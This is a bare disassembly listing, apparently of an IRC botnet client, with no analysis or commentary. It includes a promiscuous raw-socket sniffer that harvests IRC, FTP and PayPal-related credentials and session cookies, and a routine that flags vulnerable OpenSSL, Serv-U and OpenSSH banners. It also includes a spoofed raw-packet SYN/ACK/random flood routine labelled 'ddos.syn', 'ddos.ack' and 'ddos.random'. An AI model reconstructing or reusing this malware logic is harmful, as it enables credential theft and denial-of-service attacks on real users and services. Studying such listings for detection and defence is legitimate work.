		test	eax, eax
		pop	ecx
		jnz	short loc_41315A
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41315A
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A6


loc_4131A2:				; CODE XREF: sub_413144+71j
					; sub_413144+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A6:				; CODE XREF: sub_413144+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset a366	; "366 "
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131A2
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4131A2
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4131A2
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413144	endp


; =============== S U B	R O U T	I N E =======================================



sub_41325B	proc near		; CODE XREF: sub_413444:loc_41372Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413275


loc_413271:				; CODE XREF: sub_41325B+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413275:				; CODE XREF: sub_41325B+14j
		push	offset asc_42AA28 ; "#l#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413271
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41329B


loc_413297:				; CODE XREF: sub_41325B+4Fj
					; sub_41325B+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41329B:				; CODE XREF: sub_41325B+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413297
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413297
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41325B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132D1	proc near		; CODE XREF: sub_413444:loc_413756p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4132EB


loc_4132E7:				; CODE XREF: sub_4132D1+29j
					; sub_4132D1+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4132EB:				; CODE XREF: sub_4132D1+14j
		push	offset asc_42AA28 ; "#l#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4132E7
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4132E7
		push	offset a220	; "220 "
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413322


loc_41331E:				; CODE XREF: sub_4132D1+60j
					; sub_4132D1+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413322:				; CODE XREF: sub_4132D1+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41331E
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41331E
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4132D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413358	proc near		; CODE XREF: sub_413444+345p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413372


loc_41336E:				; CODE XREF: sub_413358+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413372:				; CODE XREF: sub_413358+14j
		push	offset asc_42AA28 ; "#l#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41336E
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413398


loc_413394:				; CODE XREF: sub_413358+4Fj
					; sub_413358+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413398:				; CODE XREF: sub_413358+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413394
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413394
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413394
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133DF	proc near		; CODE XREF: sub_413444:loc_4137F1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4133F9


loc_4133F5:				; CODE XREF: sub_4133DF+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4133F9:				; CODE XREF: sub_4133DF+14j
		push	offset asc_42AA28 ; "#l#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133F5
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41341F


loc_41341B:				; CODE XREF: sub_4133DF+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41341F:				; CODE XREF: sub_4133DF+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41341B
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4133DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413444	proc near		; DATA XREF: sub_401AA1+4281o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_3B7]
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CE31C	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CE38C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr sub_41C9B0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CE388	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4134EA
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4134EA:				; CODE XREF: sub_413444+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CE334	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413560
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_439AC0
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41353C
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409743
		add	esp, 14h


loc_41353C:				; CODE XREF: sub_413444+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_34]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_413560:				; CODE XREF: sub_413444+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CE2B4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4135E6
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_439A90
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4135C2
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409743
		add	esp, 14h


loc_4135C2:				; CODE XREF: sub_413444+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_34]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4135E6:				; CODE XREF: sub_413444+13Cj
		mov	esi, 200h


loc_4135EB:				; CODE XREF: sub_413444+1D6j
					; sub_413444+1FFj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CE320	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4135EB
		push	[ebp+var_113A4]
		call	dword_4281E4	; ntohs
		push	[ebp+var_113A4+2]
		movzx	edi, ax
		mov	[ebp+var_4], edi
		call	dword_4281E4	; ntohs
		movzx	eax, ax
		cmp	edi, 6Eh
		mov	[ebp+arg_0], eax
		jz	short loc_4135EB
		cmp	edi, 19h
		jz	short loc_4135EB
		cmp	eax, 6Eh
		jz	short loc_4135EB
		cmp	eax, 19h
		jz	short loc_4135EB
		push	[ebp+var_113AC]
		call	sub_413135
		mov	edi, dword_4281E8
		add	esp, 4
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		push	[ebp+var_113A8]
		call	sub_413135
		add	esp, 10h
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_1138C]
		xor	edi, edi
		push	eax
		call	sub_41B650
		add	esp, 10h
		test	eax, eax
		jle	short loc_4136E0


loc_4136B7:				; CODE XREF: sub_413444+29Aj
		lea	eax, [ebp+edi+var_1138C]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_4136C6
		mov	byte ptr [eax],	20h


loc_4136C6:				; CODE XREF: sub_413444+27Dj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4136CE
		mov	byte ptr [eax],	20h


loc_4136CE:				; CODE XREF: sub_413444+285j
		lea	eax, [ebp+var_1138C]
		inc	edi
		push	eax
		call	sub_41B650
		cmp	edi, eax
		pop	ecx
		jl	short loc_4136B7


loc_4136E0:				; CODE XREF: sub_413444+271j
		cmp	[ebp+var_4], 50h
		jz	loc_413782
		cmp	[ebp+arg_0], 50h
		jz	loc_413782
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413144
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_41372A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_439A5C
		jmp	loc_4137B3
; ---------------------------------------------------------------------------


loc_41372A:				; CODE XREF: sub_413444+2C6j
		call	sub_41325B
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_413756
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_439A28
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_413756:				; CODE XREF: sub_413444+2F5j
		call	sub_4132D1
		test	al, al
		pop	ecx
		jz	short loc_413782
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_4399F4
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_413782:				; CODE XREF: sub_413444+2A0j
					; sub_413444+2AAj ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413358
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4137F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_BB8]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_4399BC


loc_4137B3:				; CODE XREF: sub_413444+2E1j
					; sub_413444+310j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4135EB
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409743
		add	esp, 14h
		jmp	loc_4135EB
; ---------------------------------------------------------------------------


loc_4137F1:				; CODE XREF: sub_413444+354j
		call	sub_4133DF
		test	al, al
		pop	ecx
		jz	loc_4135EB
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+var_4]
		push	eax
		push	offset unk_439984
		jmp	short loc_4137B3
sub_413444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413821	proc near		; DATA XREF: sub_401AA1+6422o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_413C09
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_439AEC
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_4138B1
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409743
		add	esp, 14h


loc_4138B1:				; CODE XREF: sub_413821+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_415F45
		push	[ebp+var_290]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_413821	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138D3	proc near		; CODE XREF: sub_413C09+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CE278	; WSAStartup
		test	eax, eax
		jz	short loc_413913
		xor	eax, eax
		jmp	loc_413BDC
; ---------------------------------------------------------------------------


loc_413913:				; CODE XREF: sub_4138D3+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CE3AC	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_413BD4
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413BCA
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CE308	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CE308	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CE308	; ntohs
		mov	[ebp+var_12], ax
		call	sub_41BF52
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CE308	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CE304	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4139E3
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_413A37
; ---------------------------------------------------------------------------


loc_4139E3:				; CODE XREF: sub_4138D3+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4139FF
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_413A37
; ---------------------------------------------------------------------------


loc_4139FF:				; CODE XREF: sub_4138D3+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413A37
		call	sub_41BF52
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41BF52
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_413A37:				; CODE XREF: sub_4138D3+10Ej
					; sub_4138D3+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CE308	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_428140	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42813C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D920
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413A85:				; CODE XREF: sub_4138D3+2E2j
					; sub_4138D3+2EEj
		mov	[ebp+var_4], bx
		call	sub_41BF52
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CE308	; ntohs
		mov	[ebp+var_14], ax
		call	sub_41BF52
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BF52
		or	edi, eax
		push	edi
		call	dword_4CE308	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CE304	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CE308	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CE36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413BE0
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42813C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_413BC7
		jl	loc_413A85
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_413A85


loc_413BC7:				; CODE XREF: sub_4138D3+2E0j
		mov	ebx, [ebp+arg_8]


loc_413BCA:				; CODE XREF: sub_4138D3+78j
					; sub_4138D3+334j
		push	[ebp+var_20]
		call	dword_4CE3A0	; closesocket
		pop	esi


loc_413BD4:				; CODE XREF: sub_4138D3+5Bj
		call	dword_4CE260	; WSACleanup
		mov	eax, ebx


loc_413BDC:				; CODE XREF: sub_4138D3+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413BE0:				; CODE XREF: sub_4138D3+2CBj
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_439B14
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415F45
		add	esp, 10h
		jmp	short loc_413BCA
sub_4138D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C09	proc near		; CODE XREF: sub_413821+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A7C5
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41BDE9
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41BDE9
		mov	edi, eax
		call	sub_41BF52
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4138D3
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413C56
		inc	eax


loc_413C56:				; CODE XREF: sub_413C09+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C65	proc near		; DATA XREF: sub_401AA1+6612o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
